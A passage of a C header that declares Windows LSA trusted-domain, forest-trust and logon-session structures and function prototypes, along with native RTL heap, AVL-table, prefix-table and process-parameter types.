LSA_UNICODE_STRING FlatName; PSID Sid; ULONG TrustDirection; ULONG TrustType; ULONG TrustAttributes; } TRUSTED_DOMAIN_INFORMATION_EX, *PTRUSTED_DOMAIN_INFORMATION_EX; typedef struct _TRUSTED_DOMAIN_INFORMATION_EX2 { LSA_UNICODE_STRING Name; LSA_UNICODE_STRING FlatName; PSID Sid; ULONG TrustDirection; ULONG TrustType; ULONG TrustAttributes; ULONG ForestTrustLength; #ifdef MIDL_PASS [size_is( ForestTrustLength )] #endif PUCHAR ForestTrustInfo; } TRUSTED_DOMAIN_INFORMATION_EX2, *PTRUSTED_DOMAIN_INFORMATION_EX2; #define TRUST_AUTH_TYPE_NONE 0 // Ignore this entry #define TRUST_AUTH_TYPE_NT4OWF 1 // NT4 OWF password #define TRUST_AUTH_TYPE_CLEAR 2 // Cleartext password #define TRUST_AUTH_TYPE_VERSION 3 // Cleartext password version number typedef struct _LSA_AUTH_INFORMATION { LARGE_INTEGER LastUpdateTime; ULONG AuthType; ULONG AuthInfoLength; PUCHAR AuthInfo; } LSA_AUTH_INFORMATION, *PLSA_AUTH_INFORMATION; typedef struct _TRUSTED_DOMAIN_AUTH_INFORMATION { ULONG IncomingAuthInfos; PLSA_AUTH_INFORMATION IncomingAuthenticationInformation; PLSA_AUTH_INFORMATION IncomingPreviousAuthenticationInformation; ULONG OutgoingAuthInfos; PLSA_AUTH_INFORMATION OutgoingAuthenticationInformation; PLSA_AUTH_INFORMATION OutgoingPreviousAuthenticationInformation; } TRUSTED_DOMAIN_AUTH_INFORMATION, *PTRUSTED_DOMAIN_AUTH_INFORMATION; typedef struct _TRUSTED_DOMAIN_FULL_INFORMATION { TRUSTED_DOMAIN_INFORMATION_EX Information; TRUSTED_POSIX_OFFSET_INFO PosixOffset; TRUSTED_DOMAIN_AUTH_INFORMATION AuthInformation; } TRUSTED_DOMAIN_FULL_INFORMATION, *PTRUSTED_DOMAIN_FULL_INFORMATION; typedef struct _TRUSTED_DOMAIN_FULL_INFORMATION2 { TRUSTED_DOMAIN_INFORMATION_EX2 Information; TRUSTED_POSIX_OFFSET_INFO PosixOffset; TRUSTED_DOMAIN_AUTH_INFORMATION AuthInformation; } TRUSTED_DOMAIN_FULL_INFORMATION2, *PTRUSTED_DOMAIN_FULL_INFORMATION2; typedef struct _TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES { ULONG SupportedEncryptionTypes; } TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES, *PTRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES; typedef enum { ForestTrustTopLevelName, ForestTrustTopLevelNameEx, ForestTrustDomainInfo, ForestTrustRecordTypeLast = ForestTrustDomainInfo } LSA_FOREST_TRUST_RECORD_TYPE; #if (_WIN32_WINNT < 0x0502) #define LSA_FOREST_TRUST_RECORD_TYPE_UNRECOGNIZED 0x80000000 #endif // // Bottom 16 bits of the flags are reserved for disablement reasons // #define LSA_FTRECORD_DISABLED_REASONS ( 0x0000FFFFL ) // // Reasons for a top-level name forest trust record to be disabled // #define LSA_TLN_DISABLED_NEW ( 0x00000001L ) #define LSA_TLN_DISABLED_ADMIN ( 0x00000002L ) #define LSA_TLN_DISABLED_CONFLICT ( 0x00000004L ) // // Reasons for a domain information forest trust record to be disabled // #define LSA_SID_DISABLED_ADMIN ( 0x00000001L ) #define LSA_SID_DISABLED_CONFLICT ( 0x00000002L ) #define LSA_NB_DISABLED_ADMIN ( 0x00000004L ) #define LSA_NB_DISABLED_CONFLICT ( 0x00000008L ) typedef struct _LSA_FOREST_TRUST_DOMAIN_INFO { #ifdef MIDL_PASS PISID Sid; #else PSID Sid; #endif LSA_UNICODE_STRING DnsName; LSA_UNICODE_STRING NetbiosName; } LSA_FOREST_TRUST_DOMAIN_INFO, *PLSA_FOREST_TRUST_DOMAIN_INFO; #if (_WIN32_WINNT >= 0x0502) // // To prevent huge data to be passed in, we should put a limit on LSA_FOREST_TRUST_BINARY_DATA. // 128K is large enough that can't be reached in the near future, and small enough not to // cause memory problems. #define MAX_FOREST_TRUST_BINARY_DATA_SIZE ( 128 * 1024 ) #endif typedef struct _LSA_FOREST_TRUST_BINARY_DATA { #ifdef MIDL_PASS [range(0, MAX_FOREST_TRUST_BINARY_DATA_SIZE)] ULONG Length; [size_is( Length )] PUCHAR Buffer; #else ULONG Length; PUCHAR Buffer; #endif } LSA_FOREST_TRUST_BINARY_DATA, *PLSA_FOREST_TRUST_BINARY_DATA; typedef struct _LSA_FOREST_TRUST_RECORD { ULONG Flags; LSA_FOREST_TRUST_RECORD_TYPE ForestTrustType; // type of record LARGE_INTEGER Time; #ifdef MIDL_PASS [switch_type( LSA_FOREST_TRUST_RECORD_TYPE ), switch_is( ForestTrustType )] #endif union { // actual data #ifdef MIDL_PASS [case( ForestTrustTopLevelName, ForestTrustTopLevelNameEx )] LSA_UNICODE_STRING TopLevelName; [case( ForestTrustDomainInfo )] LSA_FOREST_TRUST_DOMAIN_INFO DomainInfo; [default] LSA_FOREST_TRUST_BINARY_DATA Data; #else LSA_UNICODE_STRING TopLevelName; LSA_FOREST_TRUST_DOMAIN_INFO DomainInfo; LSA_FOREST_TRUST_BINARY_DATA Data; // used for unrecognized types #endif } ForestTrustData; } LSA_FOREST_TRUST_RECORD, *PLSA_FOREST_TRUST_RECORD; #if (_WIN32_WINNT >= 0x0502) // // To prevent forest trust blobs of large size, number of records must be // smaller than MAX_RECORDS_IN_FOREST_TRUST_INFO // #define MAX_RECORDS_IN_FOREST_TRUST_INFO 4000 #endif typedef struct _LSA_FOREST_TRUST_INFORMATION { #ifdef MIDL_PASS [range(0, MAX_RECORDS_IN_FOREST_TRUST_INFO)] ULONG RecordCount; [size_is( RecordCount )] PLSA_FOREST_TRUST_RECORD * Entries; #else ULONG RecordCount; PLSA_FOREST_TRUST_RECORD * Entries; #endif } LSA_FOREST_TRUST_INFORMATION, *PLSA_FOREST_TRUST_INFORMATION; typedef enum { CollisionTdo, CollisionXref, CollisionOther } LSA_FOREST_TRUST_COLLISION_RECORD_TYPE; typedef struct _LSA_FOREST_TRUST_COLLISION_RECORD { ULONG Index; LSA_FOREST_TRUST_COLLISION_RECORD_TYPE Type; ULONG Flags; LSA_UNICODE_STRING Name; } LSA_FOREST_TRUST_COLLISION_RECORD, *PLSA_FOREST_TRUST_COLLISION_RECORD; typedef struct _LSA_FOREST_TRUST_COLLISION_INFORMATION { ULONG RecordCount; #ifdef MIDL_PASS [size_is( RecordCount )] #endif PLSA_FOREST_TRUST_COLLISION_RECORD * Entries; } LSA_FOREST_TRUST_COLLISION_INFORMATION, *PLSA_FOREST_TRUST_COLLISION_INFORMATION; // // LSA Enumeration Context // typedef ULONG LSA_ENUMERATION_HANDLE, *PLSA_ENUMERATION_HANDLE; // // LSA Enumeration Information // typedef struct _LSA_ENUMERATION_INFORMATION { PSID Sid; } LSA_ENUMERATION_INFORMATION, *PLSA_ENUMERATION_INFORMATION; //////////////////////////////////////////////////////////////////////////// // // // Local Security Policy - Miscellaneous API function prototypes // // // //////////////////////////////////////////////////////////////////////////// NTSTATUS NTAPI LsaFreeMemory( _In_opt_ PVOID Buffer ); NTSTATUS NTAPI LsaClose( IN LSA_HANDLE ObjectHandle ); #if (_WIN32_WINNT >= 0x0600) typedef struct _LSA_LAST_INTER_LOGON_INFO { LARGE_INTEGER LastSuccessfulLogon; LARGE_INTEGER LastFailedLogon; ULONG FailedAttemptCountSinceLastSuccessfulLogon; } LSA_LAST_INTER_LOGON_INFO, *PLSA_LAST_INTER_LOGON_INFO; #endif #if (_WIN32_WINNT >= 0x0501) typedef struct _SECURITY_LOGON_SESSION_DATA { ULONG Size; LUID LogonId; LSA_UNICODE_STRING UserName; LSA_UNICODE_STRING LogonDomain; LSA_UNICODE_STRING AuthenticationPackage; ULONG LogonType; ULONG Session; PSID Sid; LARGE_INTEGER LogonTime; LSA_UNICODE_STRING LogonServer; LSA_UNICODE_STRING DnsDomainName; LSA_UNICODE_STRING Upn; #if (_WIN32_WINNT >= 0x0600) ULONG UserFlags; LSA_LAST_INTER_LOGON_INFO LastLogonInfo; LSA_UNICODE_STRING LogonScript; LSA_UNICODE_STRING ProfilePath; LSA_UNICODE_STRING HomeDirectory; LSA_UNICODE_STRING HomeDirectoryDrive; LARGE_INTEGER LogoffTime; LARGE_INTEGER KickOffTime; LARGE_INTEGER PasswordLastSet; LARGE_INTEGER PasswordCanChange; LARGE_INTEGER PasswordMustChange; #endif } SECURITY_LOGON_SESSION_DATA, * PSECURITY_LOGON_SESSION_DATA; NTSTATUS NTAPI LsaEnumerateLogonSessions( OUT PULONG LogonSessionCount, OUT PLUID * LogonSessionList ); NTSTATUS NTAPI LsaGetLogonSessionData( IN PLUID LogonId, OUT PSECURITY_LOGON_SESSION_DATA * ppLogonSessionData ); #endif NTSTATUS NTAPI LsaOpenPolicy( _In_opt_ PLSA_UNICODE_STRING SystemName, IN PLSA_OBJECT_ATTRIBUTES ObjectAttributes, IN ACCESS_MASK DesiredAccess, OUT PLSA_HANDLE PolicyHandle ); NTSTATUS NTAPI LsaQueryInformationPolicy( IN LSA_HANDLE PolicyHandle, IN POLICY_INFORMATION_CLASS InformationClass, OUT PVOID *Buffer ); NTSTATUS NTAPI LsaSetInformationPolicy( IN LSA_HANDLE PolicyHandle, IN POLICY_INFORMATION_CLASS InformationClass, IN PVOID Buffer ); NTSTATUS NTAPI LsaQueryDomainInformationPolicy( IN LSA_HANDLE PolicyHandle, IN POLICY_DOMAIN_INFORMATION_CLASS InformationClass, OUT PVOID *Buffer ); NTSTATUS NTAPI LsaSetDomainInformationPolicy( IN LSA_HANDLE PolicyHandle, IN POLICY_DOMAIN_INFORMATION_CLASS InformationClass, _In_opt_ PVOID Buffer ); NTSTATUS NTAPI LsaRegisterPolicyChangeNotification( IN POLICY_NOTIFICATION_INFORMATION_CLASS InformationClass, IN HANDLE NotificationEventHandle ); NTSTATUS NTAPI LsaUnregisterPolicyChangeNotification( IN POLICY_NOTIFICATION_INFORMATION_CLASS InformationClass, IN HANDLE NotificationEventHandle ); NTSTATUS NTAPI LsaEnumerateTrustedDomains( IN LSA_HANDLE PolicyHandle, _Inout_ PLSA_ENUMERATION_HANDLE EnumerationContext, OUT PVOID *Buffer, IN ULONG preferredMaximumLength, OUT PULONG CountReturned ); NTSTATUS NTAPI LsaLookupNames( IN LSA_HANDLE PolicyHandle, IN ULONG Count, IN PLSA_UNICODE_STRING Names, OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, OUT PLSA_TRANSLATED_SID *Sids ); #if (_WIN32_WINNT >= 0x0501) NTSTATUS NTAPI LsaLookupNames2( IN LSA_HANDLE PolicyHandle, IN ULONG Flags, // Reserved IN ULONG Count, IN PLSA_UNICODE_STRING Names, OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, OUT PLSA_TRANSLATED_SID2 *Sids ); #endif NTSTATUS NTAPI LsaLookupSids( IN LSA_HANDLE PolicyHandle, IN ULONG Count, IN PSID *Sids, OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, OUT PLSA_TRANSLATED_NAME *Names ); #define SE_INTERACTIVE_LOGON_NAME TEXT("SeInteractiveLogonRight") #define SE_NETWORK_LOGON_NAME TEXT("SeNetworkLogonRight") #define SE_BATCH_LOGON_NAME TEXT("SeBatchLogonRight") #define SE_SERVICE_LOGON_NAME TEXT("SeServiceLogonRight") #define SE_DENY_INTERACTIVE_LOGON_NAME TEXT("SeDenyInteractiveLogonRight") #define SE_DENY_NETWORK_LOGON_NAME TEXT("SeDenyNetworkLogonRight") #define SE_DENY_BATCH_LOGON_NAME TEXT("SeDenyBatchLogonRight") #define SE_DENY_SERVICE_LOGON_NAME TEXT("SeDenyServiceLogonRight") #if (_WIN32_WINNT >= 0x0501) #define SE_REMOTE_INTERACTIVE_LOGON_NAME TEXT("SeRemoteInteractiveLogonRight") #define SE_DENY_REMOTE_INTERACTIVE_LOGON_NAME TEXT("SeDenyRemoteInteractiveLogonRight") #endif NTSTATUS NTAPI LsaEnumerateAccountsWithUserRight( IN LSA_HANDLE PolicyHandle, _In_opt_ PLSA_UNICODE_STRING UserRight, OUT PVOID *Buffer, OUT PULONG CountReturned ); NTSTATUS NTAPI LsaEnumerateAccountRights( IN LSA_HANDLE PolicyHandle, IN PSID AccountSid, OUT PLSA_UNICODE_STRING *UserRights, OUT PULONG CountOfRights ); NTSTATUS NTAPI LsaAddAccountRights( IN LSA_HANDLE PolicyHandle, IN PSID AccountSid, IN PLSA_UNICODE_STRING UserRights, IN ULONG CountOfRights ); NTSTATUS NTAPI LsaRemoveAccountRights( IN LSA_HANDLE PolicyHandle, IN PSID AccountSid, IN BOOLEAN AllRights, IN LSA_UNICODE_STRING UserRights, IN ULONG CountOfRights ); /////////////////////////////////////////////////////////////////////////////// // // // Local Security Policy - Trusted Domain Object API function prototypes // // // /////////////////////////////////////////////////////////////////////////////// NTSTATUS NTAPI LsaOpenTrustedDomainByName( IN LSA_HANDLE PolicyHandle, IN PLSA_UNICODE_STRING TrustedDomainName, IN ACCESS_MASK DesiredAccess, OUT PLSA_HANDLE TrustedDomainHandle ); NTSTATUS NTAPI LsaQueryTrustedDomainInfo( IN LSA_HANDLE PolicyHandle, IN PSID TrustedDomainSid, IN TRUSTED_INFORMATION_CLASS InformationClass, OUT PVOID *Buffer ); NTSTATUS NTAPI LsaSetTrustedDomainInformation( IN LSA_HANDLE PolicyHandle, IN PSID TrustedDomainSid, IN TRUSTED_INFORMATION_CLASS InformationClass, IN PVOID Buffer ); NTSTATUS NTAPI LsaDeleteTrustedDomain( IN LSA_HANDLE PolicyHandle, IN PSID TrustedDomainSid ); NTSTATUS NTAPI LsaQueryTrustedDomainInfoByName( IN LSA_HANDLE PolicyHandle, IN PLSA_UNICODE_STRING TrustedDomainName, IN TRUSTED_INFORMATION_CLASS InformationClass, OUT PVOID *Buffer ); NTSTATUS NTAPI LsaSetTrustedDomainInfoByName( IN LSA_HANDLE PolicyHandle, IN PLSA_UNICODE_STRING TrustedDomainName, IN TRUSTED_INFORMATION_CLASS InformationClass, IN PVOID Buffer ); NTSTATUS NTAPI LsaEnumerateTrustedDomainsEx( IN LSA_HANDLE PolicyHandle, _Inout_ PLSA_ENUMERATION_HANDLE EnumerationContext, OUT PVOID *Buffer, IN ULONG preferredMaximumLength, OUT PULONG CountReturned ); NTSTATUS NTAPI LsaCreateTrustedDomainEx( IN LSA_HANDLE PolicyHandle, IN PTRUSTED_DOMAIN_INFORMATION_EX TrustedDomainInformation, IN PTRUSTED_DOMAIN_AUTH_INFORMATION AuthenticationInformation, IN ACCESS_MASK DesiredAccess, OUT PLSA_HANDLE TrustedDomainHandle ); #if (_WIN32_WINNT >= 0x0501) NTSTATUS NTAPI LsaQueryForestTrustInformation( IN LSA_HANDLE PolicyHandle, IN PLSA_UNICODE_STRING TrustedDomainName, OUT PLSA_FOREST_TRUST_INFORMATION * ForestTrustInfo ); NTSTATUS NTAPI LsaSetForestTrustInformation( IN LSA_HANDLE PolicyHandle, IN PLSA_UNICODE_STRING TrustedDomainName, IN PLSA_FOREST_TRUST_INFORMATION ForestTrustInfo, IN BOOLEAN CheckOnly, OUT PLSA_FOREST_TRUST_COLLISION_INFORMATION * CollisionInfo ); // #define TESTING_MATCHING_ROUTINE #ifdef TESTING_MATCHING_ROUTINE NTSTATUS NTAPI LsaForestTrustFindMatch( IN LSA_HANDLE PolicyHandle, IN ULONG Type, IN PLSA_UNICODE_STRING Name, OUT PLSA_UNICODE_STRING * Match ); #endif #endif // // This API sets the workstation password (equivalent of setting/getting // the SSI_SECRET_NAME secret) // NTSTATUS NTAPI LsaStorePrivateData( IN LSA_HANDLE PolicyHandle, IN PLSA_UNICODE_STRING KeyName, _In_opt_ PLSA_UNICODE_STRING PrivateData ); NTSTATUS NTAPI LsaRetrievePrivateData( IN LSA_HANDLE PolicyHandle, IN PLSA_UNICODE_STRING KeyName, OUT PLSA_UNICODE_STRING * PrivateData ); ULONG NTAPI LsaNtStatusToWinError( IN NTSTATUS Status ); BOOL NTAPI ConvertSidToStringSidW( IN PSID Sid, OUT LPWSTR *StringSid ); #endif // _NTLSA_IFS_ // 04.06.2011 - end // // Driver entry management APIs. // typedef struct _EFI_DRIVER_ENTRY { ULONG Version; ULONG Length; ULONG Id; ULONG FriendlyNameOffset; ULONG DriverFilePathOffset; //WCHAR FriendlyName[ANYSIZE_ARRAY]; //FILE_PATH DriverFilePath; } EFI_DRIVER_ENTRY, *PEFI_DRIVER_ENTRY; typedef struct _EFI_DRIVER_ENTRY_LIST { ULONG NextEntryOffset; EFI_DRIVER_ENTRY DriverEntry; } EFI_DRIVER_ENTRY_LIST, *PEFI_DRIVER_ENTRY_LIST; #define EFI_DRIVER_ENTRY_VERSION 1 #define MAX_STACK_DEPTH 32 typedef struct _RTL_STACK_CONTEXT_ENTRY { ULONG_PTR Address; // stack address ULONG_PTR Data; // stack contents } RTL_STACK_CONTEXT_ENTRY, * PRTL_STACK_CONTEXT_ENTRY; typedef struct _RTL_STACK_CONTEXT { ULONG NumberOfEntries; RTL_STACK_CONTEXT_ENTRY Entry[1]; } RTL_STACK_CONTEXT, * PRTL_STACK_CONTEXT; typedef NTSTATUS (NTAPI * PRTL_HEAP_COMMIT_ROUTINE)( IN PVOID Base, _Inout_ PVOID *CommitAddress, _Inout_ PSIZE_T CommitSize ); typedef struct _RTL_HEAP_PARAMETERS { ULONG Length; SIZE_T SegmentReserve; SIZE_T SegmentCommit; SIZE_T DeCommitFreeBlockThreshold; SIZE_T DeCommitTotalFreeThreshold; SIZE_T MaximumAllocationSize; SIZE_T VirtualMemoryThreshold; SIZE_T InitialCommit; SIZE_T InitialReserve; PRTL_HEAP_COMMIT_ROUTINE CommitRoutine; SIZE_T Reserved[2]; } RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS; #define HEAP_SETTABLE_USER_VALUE 0x00000100 #define HEAP_SETTABLE_USER_FLAG1 0x00000200 #define HEAP_SETTABLE_USER_FLAG2 0x00000400 #define HEAP_SETTABLE_USER_FLAG3 0x00000800 #define HEAP_SETTABLE_USER_FLAGS 0x00000e00 #define HEAP_CLASS_0 0x00000000 // Process heap #define HEAP_CLASS_1 0x00001000 // Private heap #define HEAP_CLASS_2 0x00002000 // Kernel heap #define HEAP_CLASS_3 0x00003000 // GDI heap #define HEAP_CLASS_4 0x00004000 // User heap #define HEAP_CLASS_5 0x00005000 // Console heap #define HEAP_CLASS_6 0x00006000 // User desktop heap #define HEAP_CLASS_7 0x00007000 // CSR shared heap #define HEAP_CLASS_8 0x00008000 // CSR port heap #define HEAP_CLASS_MASK 0x0000f000 struct _RTL_AVL_TABLE; typedef struct _RTL_SPLAY_LINKS { struct _RTL_SPLAY_LINKS *Parent; struct _RTL_SPLAY_LINKS *LeftChild; struct _RTL_SPLAY_LINKS *RightChild; } RTL_SPLAY_LINKS; typedef RTL_SPLAY_LINKS *PRTL_SPLAY_LINKS; typedef enum _TABLE_SEARCH_RESULT { TableEmptyTree, TableFoundNode, TableInsertAsLeft, TableInsertAsRight } TABLE_SEARCH_RESULT; typedef enum _RTL_GENERIC_COMPARE_RESULTS { GenericLessThan, GenericGreaterThan, GenericEqual } RTL_GENERIC_COMPARE_RESULTS; struct _RTL_AVL_TABLE; typedef RTL_GENERIC_COMPARE_RESULTS (NTAPI *PRTL_AVL_COMPARE_ROUTINE)( IN struct _RTL_AVL_TABLE *Table, IN PVOID FirstStruct, IN PVOID SecondStruct ); typedef PVOID (NTAPI *PRTL_AVL_ALLOCATE_ROUTINE)( IN struct _RTL_AVL_TABLE *Table, IN CLONG ByteSize ); typedef VOID (NTAPI *PRTL_AVL_FREE_ROUTINE)( IN struct _RTL_AVL_TABLE *Table, IN PVOID Buffer ); typedef NTSTATUS (NTAPI *PRTL_AVL_MATCH_FUNCTION)( IN struct _RTL_AVL_TABLE *Table, IN PVOID UserData, IN PVOID MatchData ); typedef RTL_GENERIC_COMPARE_RESULTS (NTAPI *PRTL_AVL_COMPARE_ROUTINE) ( struct _RTL_AVL_TABLE *Table, PVOID FirstStruct, PVOID SecondStruct ); typedef PVOID (NTAPI *PRTL_AVL_ALLOCATE_ROUTINE) ( struct _RTL_AVL_TABLE *Table, ULONG ByteSize ); typedef NTSTATUS (NTAPI *PRTL_AVL_MATCH_FUNCTION) ( struct _RTL_AVL_TABLE *Table, PVOID UserData, PVOID MatchData ); typedef RTL_GENERIC_COMPARE_RESULTS (NTAPI *PRTL_GENERIC_COMPARE_ROUTINE) ( struct _RTL_GENERIC_TABLE *Table, PVOID FirstStruct, PVOID SecondStruct ); typedef PVOID (NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE) ( struct _RTL_GENERIC_TABLE *Table, ULONG ByteSize ); typedef VOID (NTAPI *PRTL_GENERIC_FREE_ROUTINE) ( struct _RTL_GENERIC_TABLE *Table, PVOID Buffer ); typedef struct _RTL_BALANCED_LINKS { struct _RTL_BALANCED_LINKS *Parent; struct _RTL_BALANCED_LINKS *LeftChild; struct _RTL_BALANCED_LINKS *RightChild; CHAR Balance; UCHAR Reserved[3]; } RTL_BALANCED_LINKS, *PRTL_BALANCED_LINKS; typedef struct _RTL_AVL_TABLE { RTL_BALANCED_LINKS BalancedRoot; PVOID OrderedPointer; ULONG WhichOrderedElement; ULONG NumberGenericTableElements; ULONG DepthOfTree; PRTL_BALANCED_LINKS RestartKey; ULONG DeleteCount; PRTL_AVL_COMPARE_ROUTINE CompareRoutine; PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine; PRTL_AVL_FREE_ROUTINE FreeRoutine; PVOID TableContext; } RTL_AVL_TABLE, *PRTL_AVL_TABLE; typedef struct _RTL_GENERIC_TABLE { PRTL_SPLAY_LINKS TableRoot; LIST_ENTRY InsertOrderList; PLIST_ENTRY OrderedPointer; ULONG WhichOrderedElement; ULONG NumberGenericTableElements; PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine; PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine; PRTL_GENERIC_FREE_ROUTINE FreeRoutine; PVOID TableContext; } RTL_GENERIC_TABLE; typedef RTL_GENERIC_TABLE *PRTL_GENERIC_TABLE; typedef struct _GENERATE_NAME_CONTEXT { USHORT Checksum; BOOLEAN ChecksumInserted; UCHAR NameLength; // not including extension WCHAR NameBuffer[8]; // e.g., "ntoskrnl" ULONG ExtensionLength; // including dot WCHAR ExtensionBuffer[4]; // e.g., ".exe" ULONG LastIndexValue; } GENERATE_NAME_CONTEXT; typedef GENERATE_NAME_CONTEXT *PGENERATE_NAME_CONTEXT; typedef struct _PREFIX_TABLE_ENTRY { CSHORT NodeTypeCode; CSHORT NameLength; struct _PREFIX_TABLE_ENTRY *NextPrefixTree; RTL_SPLAY_LINKS Links; PSTRING Prefix; } PREFIX_TABLE_ENTRY; typedef PREFIX_TABLE_ENTRY *PPREFIX_TABLE_ENTRY; typedef struct _PREFIX_TABLE { CSHORT NodeTypeCode; CSHORT NameLength; PPREFIX_TABLE_ENTRY NextPrefixTree; } PREFIX_TABLE; typedef PREFIX_TABLE *PPREFIX_TABLE; typedef struct _UNICODE_PREFIX_TABLE_ENTRY { CSHORT NodeTypeCode; CSHORT NameLength; struct _UNICODE_PREFIX_TABLE_ENTRY *NextPrefixTree; struct _UNICODE_PREFIX_TABLE_ENTRY *CaseMatch; RTL_SPLAY_LINKS Links; PUNICODE_STRING Prefix; } UNICODE_PREFIX_TABLE_ENTRY; typedef UNICODE_PREFIX_TABLE_ENTRY *PUNICODE_PREFIX_TABLE_ENTRY; typedef struct _UNICODE_PREFIX_TABLE { CSHORT NodeTypeCode; CSHORT NameLength; PUNICODE_PREFIX_TABLE_ENTRY NextPrefixTree; PUNICODE_PREFIX_TABLE_ENTRY LastNextEntry; } UNICODE_PREFIX_TABLE; typedef UNICODE_PREFIX_TABLE *PUNICODE_PREFIX_TABLE; #define COMPRESSION_FORMAT_NONE (0x0000) // winnt #define COMPRESSION_FORMAT_DEFAULT (0x0001) // winnt #define COMPRESSION_FORMAT_LZNT1 (0x0002) // winnt #define COMPRESSION_ENGINE_STANDARD (0x0000) // winnt #define COMPRESSION_ENGINE_MAXIMUM (0x0100) // winnt #define COMPRESSION_ENGINE_HIBER (0x0200) // winnt typedef struct _COMPRESSED_DATA_INFO { USHORT CompressionFormatAndEngine; UCHAR CompressionUnitShift; UCHAR ChunkShift; UCHAR ClusterShift; UCHAR Reserved; USHORT NumberOfChunks; ULONG CompressedChunkSizes[ANYSIZE_ARRAY]; } COMPRESSED_DATA_INFO; typedef COMPRESSED_DATA_INFO *PCOMPRESSED_DATA_INFO; typedef struct _SECTION_IMAGE_INFORMATION { PVOID TransferAddress; ULONG ZeroBits; UCHAR Alignment[4]; SIZE_T MaximumStackSize; SIZE_T CommittedStackSize; ULONG SubSystemType; union { struct { USHORT SubSystemMinorVersion; USHORT SubSystemMajorVersion; }; ULONG SubSystemVersion; }; ULONG GpValue; USHORT ImageCharacteristics; USHORT DllCharacteristics; USHORT Machine; BOOLEAN ImageContainsCode; union { UCHAR ImageFlags; struct { BOOLEAN ComPlusNativeReady : 1; BOOLEAN ComPlusILOnly : 1; BOOLEAN ImageDynamicallyRelocated : 1; BOOLEAN ImageMappedFlat : 1; BOOLEAN Reserved : 4; }; }; ULONG LoaderFlags; ULONG ImageFileSize; ULONG CheckSum; } SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; typedef struct _SECTION_IMAGE_INFORMATION64 { ULONGLONG TransferAddress; ULONG ZeroBits; ULONGLONG MaximumStackSize; ULONGLONG CommittedStackSize; ULONG SubSystemType; union { struct { USHORT SubSystemMinorVersion; USHORT SubSystemMajorVersion; }; ULONG SubSystemVersion; }; ULONG GpValue; USHORT ImageCharacteristics; USHORT DllCharacteristics; USHORT Machine; BOOLEAN ImageContainsCode; BOOLEAN Spare1; ULONG LoaderFlags; ULONG ImageFileSize; ULONG Reserved[ 1 ]; } SECTION_IMAGE_INFORMATION64, *PSECTION_IMAGE_INFORMATION64; typedef struct _RTL_BITMAP { ULONG SizeOfBitMap; UCHAR Padding[4]; PULONG Buffer; } RTL_BITMAP; typedef RTL_BITMAP *PRTL_BITMAP; #define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 #define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 #define RTL_RANGE_SHARED 0x01 #define RTL_RANGE_CONFLICT 0x02 typedef struct _RTL_RANGE_LIST { LIST_ENTRY ListHead; ULONG Flags; // use RANGE_LIST_FLAG_* ULONG Count; ULONG Stamp; } RTL_RANGE_LIST, *PRTL_RANGE_LIST; typedef enum { RtlBsdItemVersionNumber = 0x00, RtlBsdItemProductType, RtlBsdItemAabEnabled, RtlBsdItemAabTimeout, RtlBsdItemBootGood, RtlBsdItemBootShutdown, RtlBsdItemMax } RTL_BSD_ITEM_TYPE, *PRTL_BSD_ITEM_TYPE; typedef struct _RANGE_LIST_ITERATOR { PLIST_ENTRY RangeListHead; PLIST_ENTRY MergedHead; PVOID Current; ULONG Stamp; } RTL_RANGE_LIST_ITERATOR, *PRTL_RANGE_LIST_ITERATOR; typedef struct _STARTUP_ARGUMENT { //ULONG Unknown[ 3 ]; UNICODE_STRING Unknown[ 3 ]; PRTL_USER_PROCESS_PARAMETERS Environment; } STARTUP_ARGUMENT, *PSTARTUP_ARGUMENT; #define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 #define RTL_USER_PROC_PROFILE_USER 0x00000002 #define RTL_USER_PROC_PROFILE_KERNEL 0x00000004 #define RTL_USER_PROC_PROFILE_SERVER 0x00000008 #define RTL_USER_PROC_RESERVE_1MB 0x00000020 #define RTL_USER_PROC_RESERVE_16MB 0x00000040 #define RTL_USER_PROC_CASE_SENSITIVE 0x00000080 #define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT 0x00000100 #define RTL_USER_PROC_DLL_REDIRECTION_LOCAL 0x00001000 #define RTL_USER_PROC_APP_MANIFEST_PRESENT 0x00002000 #define RTL_USER_PROC_IMAGE_KEY_MISSING 0x00004000 #define RTL_USER_PROC_OPTIN_PROCESS 0x00020000 typedef NTSTATUS (*PUSER_PROCESS_START_ROUTINE)( PRTL_USER_PROCESS_PARAMETERS ProcessParameters ); typedef NTSTATUS (*PUSER_THREAD_START_ROUTINE)( PVOID ThreadParameter ); typedef struct _RTL_USER_PROCESS_INFORMATION { ULONG Length; HANDLE Process; HANDLE Thread; CLIENT_ID ClientId; SECTION_IMAGE_INFORMATION ImageInformation; } RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION; typedef struct _RTL_USER_PROCESS_INFORMATION64 { ULONG Length; LONGLONG Process; LONGLONG Thread; CLIENT_ID64 ClientId; SECTION_IMAGE_INFORMATION64 ImageInformation; } RTL_USER_PROCESS_INFORMATION64, *PRTL_USER_PROCESS_INFORMATION64; #define RTL_TRACE_IN_USER_MODE 0x00000001 #define RTL_TRACE_IN_KERNEL_MODE 0x00000002 #define RTL_TRACE_USE_NONPAGED_POOL 0x00000004 #define RTL_TRACE_USE_PAGED_POOL 0x00000008 typedef struct _RTL_RESOURCE { RTL_CRITICAL_SECTION CriticalSection; HANDLE SharedSemaphore; ULONG NumberOfWaitingShared; HANDLE ExclusiveSemaphore; ULONG NumberOfWaitingExclusive; LONG NumberOfActive; HANDLE ExclusiveOwnerThread; ULONG Flags; // See RTL_RESOURCE_FLAG_ equates below. PRTL_RESOURCE_DEBUG DebugInfo; } RTL_RESOURCE, *PRTL_RESOURCE; #define RTL_RESOURCE_FLAG_LONG_TERM ((ULONG) 0x00000001) typedef struct _RTL_TRACE_BLOCK { ULONG Magic; 